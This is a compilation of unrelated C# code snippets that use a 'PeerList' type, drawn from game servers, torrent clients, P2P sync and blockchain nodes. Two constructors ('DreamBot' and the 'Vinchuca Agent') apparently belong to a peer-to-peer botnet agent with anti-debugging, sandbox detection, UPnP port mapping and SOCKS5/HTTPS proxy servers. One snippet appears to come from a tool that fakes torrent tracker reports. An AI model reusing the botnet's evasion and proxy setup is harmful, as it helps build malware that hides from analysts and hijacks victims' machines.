/// <summary> /// 离开房间 /// </summary> /// <param name="peer"></param> public void Leave(MobaPeer peer) { // 移除退出的客户端连接 PeerList.Remove(peer); // 通知所有其他客户端:有人退出 房间解散 回到主界面 Brocast(OperationCode.DestroySelect, null); }
// Returns whether or not a peer is connected already private bool IsPeerConnected(PeerCandidate Peer) { // Check whether the peer candidate is this node if (Peer.Id == Id) { return(true); } // Lock peer list to prevent race conditions lock (PeerList) { // Check if the connected peer list contains this peer if (PeerList.Any(x => x.Id == Peer.Id)) { return(true); } // Check if any incoming connections have this address + port if (P2pServer.PendingConnections.Any(x => x.Client.RemoteEndPoint.ToString() == $"{Peer.Address}:{Peer.Port}")) { return(true); } } // Peer is not connected return(false); }
// Adds a Peer to the index public int AddPeer(TcpClient clientSocket) { // Get hostname of client, then break up into IP and port string remoteIp = ((IPEndPoint)clientSocket.Client.RemoteEndPoint).Address.ToString(); int remotePort = ((IPEndPoint)clientSocket.Client.RemoteEndPoint).Port; // Use LINQ to see if that user is already in the index int id = (from entry in PeerList let tempPeer = entry.Value where tempPeer.IpAddress.Equals(remoteIp) && tempPeer.Port == remotePort select entry.Key).FirstOrDefault(); // User is already in index; just return the existing id if (id > 0) { return(id); } // Increment user counter, add the new Peer to the directory, and assign the Peer an id _counter++; Peer newPeer = new Peer { IpAddress = remoteIp, Port = remotePort }; PeerList.Add(_counter, newPeer); return(_counter); }
private void BlockingUpdate() { if (Torrent.State == TorrentState.Downloading || Torrent.State == TorrentState.Seeding) { Peers = Torrent.Peers.Available; Seeders = Torrent.Peers.Seeds; Leechers = Torrent.Peers.Leechs; var peerList = Torrent.GetPeers(); MainWindow.This.Dispatcher.Invoke(new Action(() => { foreach (var peer in peerList) { if (!PeerList.Contains(peer)) { PeerList.Add(peer); } } for (int i = 0; i < PeerList.Count; i++) { if (!peerList.Contains(PeerList[i])) { PeerList.RemoveAt(i--); } } })); } }
// Returns the Peer object for a given Peer id public Peer SearchPeers(int pId) { Peer thePeer; PeerList.TryGetValue(pId, out thePeer); return(thePeer); }
/// <summary> /// 进入房间 /// </summary> /// <param name="peer"></param> public void Enter(MobaPeer peer) { if (!PeerList.Contains(peer)) { PeerList.Add(peer); } }
void resolver_ResolveProgressChanged(object sender, ResolveProgressChangedEventArgs e) { PeerNameRecord peer = e.PeerNameRecord; foreach (IPEndPoint ep in peer.EndPointCollection) { if (ep.Address.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork) { try { string endpointUrl = string.Format("net.tcp://{0}:{1}/P2PService", ep.Address, ep.Port); NetTcpBinding binding = new NetTcpBinding(); binding.Security.Mode = SecurityMode.None; IP2PService serviceProxy = ChannelFactory <IP2PService> .CreateChannel( binding, new EndpointAddress(endpointUrl)); PeerList.Add( new PeerEntry { PeerName = peer.PeerName, ServiceProxy = serviceProxy, DisplayString = serviceProxy.GetName(), State = PeerState.User, Player = serviceProxy.GetPlayer(), PlayerId = serviceProxy.GetPlayerId() }); ResolveProgressChanged(); } catch (EndpointNotFoundException) { } } } }
public InternalAnnounceResponse(TimeSpan interval, int complete, int incomplete, PeerList peers) { _interval = interval; _complete = complete; _incomplete = incomplete; _peers = peers; }
public DreamBotApp(int port, BotIdentifier id) { BotId = id; Logger.Info(0, "DreamBot [id: {0}] listenning on port {1}", BotId, port); _worker = new ClientWorker(); _worker.QueueForever(AntiDebugging.CheckDebugger, TimeSpan.FromSeconds(1)); _worker.QueueForever(AntiDebugging.CheckDebugging, TimeSpan.FromSeconds(0.3)); _peerList = new PeerList(_worker); _peerList.DesparadoModeActivated += DesperateModeActivated; _listener = new MessageListener(port); _listener.UdpPacketReceived += EnqueueMessage; _comunicationManager = new ComunicationManager(_listener, _worker); _peersManager = new PeerManager(_comunicationManager, _peerList, _worker, BotId); _messagesManager = new MessageManager(_peersManager); _messagesManager.Register(0x00, MessageType.Request, typeof(HelloMessage), new HelloMessageHandler(_peerList, _messagesManager), false); _messagesManager.Register(0x01, MessageType.Reply, typeof(HelloReplyMessage), new HelloReplyMessageHandler(_peerList, _messagesManager), true); _messagesManager.Register(0x02, MessageType.Request, typeof(GetPeerListMessage), new GetPeerListMessageHandler(_peerList, _messagesManager), true); _messagesManager.Register(0x03, MessageType.Reply, typeof(GetPeerListReplyMessage), new GetPeerListReplyMessageHandler(_peerList, _messagesManager), true); _messagesManager.Register(0xFF, MessageType.Special, typeof(InvalidMessage), new InvalidMessageHandler(_peerList), false); _socks5 = new Socks5Server(8009); _https = new HttpsProxyServer(8019); //_connectivityTester = new ConnectivityTester(); //_connectivityTester.OnConnectivityStatusChanged += OnConnectivityStatusChanged; }
public Agent(int port, BotIdentifier id) { BotIdentifier.Id = id; Logger.Info("Vinchuca Agent [id: {0}] listenning on port {1}", BotIdentifier.Id, port); _worker = ClientWorker.Instance; _worker.QueueForever(AntiDebugging.CheckDebugger, TimeSpan.FromSeconds(1)); _worker.QueueForever(AntiDebugging.CheckDebugging, TimeSpan.FromSeconds(0.3)); _worker.QueueForever(SandboxDetection.CheckSandboxed, TimeSpan.FromSeconds(1)); _peerList = new PeerList(_worker); _peerList.DesparadoModeActivated += DesperateModeActivated; if (IPAddressUtils.BehingNAT(IPAddressUtils.GetLocalIPAddress())) { var upnpSearcher = new UpnpSearcher(); upnpSearcher.DeviceFound += (s, e) => { PublicIP = e.Device.GetExternalIP(); Logger.Verbose("External IP Address: {0}", PublicIP); try { var externalPort = BotIdentifier.Id.GetPort(); BotIdentifier.EndPoint = new IPEndPoint(PublicIP, externalPort); var device = e.Device; device.CreatePortMap(new Mapping(Protocol.Udp, port, externalPort)); device.CreatePortMap(new Mapping(Protocol.Tcp, port, externalPort + 1)); device.CreatePortMap(new Mapping(Protocol.Tcp, port, externalPort + 2)); } catch (MappingException ex) { Logger.Warn("UPnp - port mapping failed: {0} - {1}", ex.ErrorCode, ex.ErrorText); } finally { upnpSearcher.Stop(); } }; upnpSearcher.Search(); } _listener = new MessageListener(port); _listener.UdpPacketReceived += EnqueueMessage; _communicationManager = new CommunicationManager(_listener, _worker); var peersManager = new PeerManager(_communicationManager, _peerList, _worker); _messagesManager = new MessageManager(peersManager); peersManager.MessageSender = _messagesManager; RegisterMessageHandlers(peersManager); var externPort = BotIdentifier.Id.GetPort(); _socks5 = new Socks5Server(externPort + 1); _https = new HttpsProxyServer(externPort + 2); _connectivityTester = new ConnectivityTester(); _connectivityTester.OnConnectivityStatusChanged += OnConnectivityStatusChanged; }
public bool Start(IPAddress ip, int port, IMasterPeerListener listener) { listener_ = listener; EndPoint = new IPEndPoint(ip, port); peerList_ = new PeerList(); connectorList_ = new ConcurrentDictionary <string, MasterConnector>(); return(true); }
public void OnPeerList(PeerList peerList) { ClientConfirmation(Confirmation.For(peerList)); foreach (var peer in peerList.Peers) { Logger.Trace($"{peer.Name} - {(peer.IsOnline ? "Online" : "Offline")}"); } }
public void OnPeerList(PeerList peerList) { ClientConfirmation(Confirmation.For(peerList)); foreach (var peerStatus in peerList.Peers) { SignaledPeerData.AddOrUpdate(peerStatus); } _foregroundChannel?.OnSignaledPeerDataUpdated(); }
/// <summary> /// 清空房间数据 /// </summary> public void Clear() { TeamOneDict.Clear(); TeamTwoDict.Clear(); PeerList.Clear(); EnterCount = 0; ReadyCount = 0; }
/// <summary> /// 离开房间 /// </summary> /// <param name="peer"></param> public void Leave(MobaPeer peer) { if (PeerList.Contains(peer)) { PeerList.Remove(peer); } LeavePeer.Add(peer); }
// Removes the Peer matching the given id from the index // This method will also remove the Peer's id from all file records public void RemovePeer(TcpClient clientSocket, int id) { PeerList.Remove(id); Dictionary <String, List <int> > .ValueCollection vals = FileList.Values; foreach (List <int> tempList in vals) { tempList.Remove(id); } }
static void Main(string[] args) { // command line parser commandLineParser = new CommandLineParser(args); // load Configuration Configuration = new ConfigurationBuilder() .SetBasePath(Directory.GetCurrentDirectory()) .AddJsonFile(APPSETTINGS, optional: true, reloadOnChange: true) .Build(); int port = commandLineParser.Value("port", Configuration.GetValue <int>("NodeService:Port")); // logger Logger = new BLog.Builder() .WithConsole(true) // .WithLogger(new RotateFileLogger($"logs/ElasticNodeServiceApp-{port}.log")) .Global(true) .WithFilter(LogFilter.All) .Build(); Logger.info($"Hello, Bryllite! args={commandLineParser.ToString()}"); // peer list provider IPeerList peers = new PeerList(Logger); using (var cts = new CancellationTokenSource()) { NodeService = new NodeService(Configuration.GetSection("NodeService"), Logger, peers); NodeService.Start(port, 16, cts); Console.CancelKeyPress += (sender, e) => { e.Cancel = true; cts.Cancel(); }; // console command if (commandLineParser.Value("console", false)) { NodeService.StartConsole(); } while (!cts.Token.IsCancellationRequested) { Thread.Sleep(10); NodeService.Update(); } NodeService.Stop(); } Logger.info($"Bye, Bryllite!"); }
/// <summary> /// 清除房间信息 /// </summary> public void Clear() { TeamOneIdList.Clear(); TeamTwoIdList.Clear(); PeerList.Clear(); // 移除定时任务 if (!Guid.Equals(new Guid())) { Timer.RemoveAction(Guid); } }
public IAsyncAction OnPeerListAsync(PeerList peerList) { return(Task.Run(async() => { await ClientConfirmationAsync(Confirmation.For(peerList)); foreach (var peerStatus in peerList.Peers) { SignaledPeerData.AddOrUpdate(peerStatus); } _foregroundChannel?.OnSignaledPeerDataUpdatedAsync(); }).AsAsyncAction()); }
// Sends a timed sync request to all connected peers private void Sync(object _) { // Lock our peer list to prevent any race conditions lock (PeerList) { // Loop through all connected peers foreach (var Peer in PeerList.Where(x => x.Validated)) { // Send this peer a timed sync request RequestTimedSync(Peer); } } }
static void Main(string[] args) { // load Configuration IConfiguration Configuration = new ConfigurationBuilder() .SetBasePath(Directory.GetCurrentDirectory()) .AddJsonFile(APPSETTINGS, optional: true, reloadOnChange: true) .Build(); // logger ILoggable Logger = new BLog.Builder() .WithConsole(true) .WithLogger(new RotateFileLogger(Configuration.GetValue("Logging:LogFileName", "PeerListServiceApp.log"))) .Global(true) .WithFilter(LogFilter.All) .Build(); Logger.info($"Hello, Bryllite!"); // node map provider IPeerList peers = new PeerList(Logger); using (var cts = new CancellationTokenSource()) { PeerListService server = new PeerListService(Configuration.GetSection("PeerListService"), Logger, peers); server.Start(32, cts); // garbage collection //System.Timers.Timer gcTimer = new System.Timers.Timer(30 * 1000); //gcTimer.Elapsed += OnGarbageCollect; //gcTimer.Enabled = true; Console.CancelKeyPress += (sender, e) => { e.Cancel = true; cts.Cancel(); }; while (!cts.Token.IsCancellationRequested) { Thread.Sleep(10); server.Update(); } server.Stop(); } Logger.info($"Bye, Bryllite!"); }
// Not entirely sure what this method is supposed to be for, to be honest. public List <int> ReplicateFiles(int num, int id) { List <int> currentList = new List <int>(); if ((PeerList.Count - 1) >= num) { currentList.AddRange(PeerList.Select(entry => entry.Key).Where(peerId => peerId != id)); } else { currentList = null; } return(currentList); }
public void RefreshPeers() { // Создание распознавателя и добавление обработчиков событий PeerNameResolver resolver = new PeerNameResolver(); resolver.ResolveProgressChanged += new EventHandler <ResolveProgressChangedEventArgs>(resolver_ResolveProgressChanged); resolver.ResolveCompleted += new EventHandler <ResolveCompletedEventArgs>(resolver_ResolveCompleted); // Подготовка к добавлению новых пиров PeerList.Clear(); CanRefreshPeers = false; // Преобразование незащищенных имен пиров асинхронным образом resolver.ResolveAsync(new PeerName("0.P2P Sample"), 1); }
public void Test() { InvitationRequest request = new InvitationRequest(1111); this.TestFactory(request); InvitationAck ack = new InvitationAck(2222); this.TestFactory(ack); byte[] data = { 12, 34, 56 }; FileDataResponse dataResponse = new FileDataResponse(data, 3333); this.TestFactory(dataResponse); FileEvent e1 = new FileEvent(); e1.Name = "1234"; List <FileEvent> lf = new List <FileEvent>(); lf.Add(e1); PatchRequest patchRequest = new PatchRequest(lf, 4444); this.TestFactory(patchRequest); PeerList peerList = PeerList.GetPeerList("abc"); peerList.AddPeer(new Peer("127.0.0.1", 5555)); PeerListMessage pm = new PeerListMessage(peerList, 6666); this.TestFactory(pm); SyncAck syncAck = new SyncAck(7777); this.TestFactory(syncAck); SyncRequest syncRequest = new SyncRequest(8888); this.TestFactory(syncRequest); File.WriteAllText(".Distribox/VersionList.txt", "[]"); VersionList vl = new VersionList(); VersionListMessage vm = new VersionListMessage(vl, 9999); this.TestFactory(vm); }
// This is invoked when a new P2P peer connection is formed public void OnP2pPeerConnected(object sender, EventArgs e) { // Get peer data var P2pPeer = (P2pPeer)sender; // Check if this peer is already in our peer list if (PeerList.Count(x => x.P2pPeer == P2pPeer) == 0) { // Add this peer to our peer list var Peer = AddPeer(P2pPeer); // Handshake with this peer if (!P2pPeer.IsIncoming) { Handshake(Peer); } } }
/// <summary> /// 进入房间 /// </summary> /// <param name="playerId"></param> /// <param name="peer"></param> public void EnterRoom(int playerId, MobaPeer peer) { if (TeamOneDict.ContainsKey(playerId)) { TeamOneDict[playerId].IsEnter = true; } else if (TeamTwoDict.ContainsKey(playerId)) { TeamTwoDict[playerId].IsEnter = true; } else { return; } // 添加连接对象 PeerList.Add(peer); EnterCount++; }
protected void Page_Load(object sender, EventArgs e) { if (Request.QueryString["torrent"] == null || Request.QueryString["torrent"].Length != 40) { Msg.Text = "Torrent not found"; return; } try { DataTable peersDataTable = createPeersDataTable(); string sha = Request.QueryString["torrent"]; handlePeers(sha, peersDataTable); PeerList.DataSource = peersDataTable; PeerList.DataBind(); } catch (Exception ex) { Msg.Text = String.Format("Error: {0}", ex.Message); } }
// Returns whether or not a peer is connected already private bool IsPeerConnected(PeerCandidate Peer) { // Check whether the peer candidate is this node if (Peer.Id == Id) { return(true); } // Lock peer list to prevent race conditions lock (PeerList) { // Check if the connected peer list contains this peer if (PeerList.Any(x => x.Id == Peer.Id)) { return(true); } // TODO - check if incoming connections has this address+port } // Peer is not connected return(false); }
/// <summary> /// 清除数据 /// </summary> public void Clear() { TeamOneHeros.Clear(); TeamOneBuilds.Clear(); TeamOneMinions.Clear(); TeamTwoBuilds.Clear(); TeamTwoHeros.Clear(); TeamTwoMinions.Clear(); PeerList.Clear(); LeavePeer.Clear(); m_CurBuild1Id = ServerConfig.TeamOneBuildId; m_CurBuild2Id = ServerConfig.TeamTwoBuildId; m_MinionId = ServerConfig.MinionId; InitCount = 0; // 移除定时任务 if (!Guid.Equals(new Guid())) { Timer.RemoveAction(Guid); } }
/// <summary> /// Initializes a new instance of the <see cref="Distribox.Network.PeerListMessage"/> class. /// </summary> /// <param name="list">The list.</param> /// <param name="port">The port.</param> public PeerListMessage(PeerList list, int port) : base(port) { this.List = list; this.Type = MessageType.PeerListMessage; }
public IAsyncAction OnPeerListAsync(PeerList peerList) { return(EnqueueMessage(peerList).CastToAsyncAction()); }
public HelloSynMessageHandler(PeerList peerList, MessageManager messageManager) { _peerList = peerList; _messageManager = messageManager; }
private bool sendEventToTracker(TorrentInfo torrentInfo, string eventType) { scrapStatsUpdated = false; currentTorrent = torrentInfo; string urlString = getUrlString(torrentInfo, eventType); ValueDictionary dictionary1; try { Uri uri = new Uri(urlString); TrackerResponse trackerResponse = MakeWebRequestEx(uri); if (trackerResponse != null && trackerResponse.Dict != null) { dictionary1 = trackerResponse.Dict; string failure = BEncode.String(dictionary1["failure reason"]); if (failure.Length > 0) { AddLogLine("Tracker Error: " + failure); if (!checkIgnoreFailureReason.Checked) { StopButton_Click(null, null); AddLogLine("Stopped because of tracker error!!!"); return false; } } else { foreach (string key in trackerResponse.Dict.Keys) { if (key != "failure reason" && key != "peers") { AddLogLine(key + ": " + BEncode.String(trackerResponse.Dict[key])); } } if (dictionary1.Contains("interval")) { updateInterval(BEncode.String(dictionary1["interval"])); } if (dictionary1.Contains("complete") && dictionary1.Contains("incomplete")) { if (dictionary1.Contains("complete") && dictionary1.Contains("incomplete")) { updateScrapStats(BEncode.String(dictionary1["complete"]), BEncode.String(dictionary1["incomplete"]), ""); decimal leechers = BEncode.String(dictionary1["incomplete"]).ParseValidInt(0); if (leechers == 0) { AddLogLine("Min number of leechers reached... setting upload speed to 0"); updateTextBox(uploadRate, "0"); chkRandUP.Checked = false; } } } if (dictionary1.Contains("peers")) { haveInitialPeers = true; string text4; if (dictionary1["peers"] is ValueString) { text4 = BEncode.String(dictionary1["peers"]); Encoding encoding1 = Encoding.GetEncoding(0x6faf); byte[] buffer1 = encoding1.GetBytes(text4); BinaryReader reader1 = new BinaryReader(new MemoryStream(encoding1.GetBytes(text4))); PeerList list1 = new PeerList(); for (int num1 = 0; num1 < buffer1.Length; num1 += 6) { list1.Add(new Peer(reader1.ReadBytes(4), reader1.ReadInt16())); } reader1.Close(); AddLogLine("peers: " + list1); } else if (dictionary1["peers"] is ValueList) { // text4 = ""; ValueList list2 = (ValueList)dictionary1["peers"]; PeerList list3 = new PeerList(); foreach (object obj1 in list2) { if (obj1 is ValueDictionary) { ValueDictionary dictionary2 = (ValueDictionary)obj1; list3.Add(new Peer(BEncode.String(dictionary2["ip"]), BEncode.String(dictionary2["port"]), BEncode.String(dictionary2["peer id"]))); } } AddLogLine("peers: " + list3); } else { text4 = BEncode.String(dictionary1["peers"]); AddLogLine("peers(x): " + text4); } } } return false; } else { AddLogLine("No connection in sendEventToTracker() !!!"); return false; } } catch (Exception ex) { AddLogLine("Error in sendEventToTracker(): " + ex.Message); return false; } }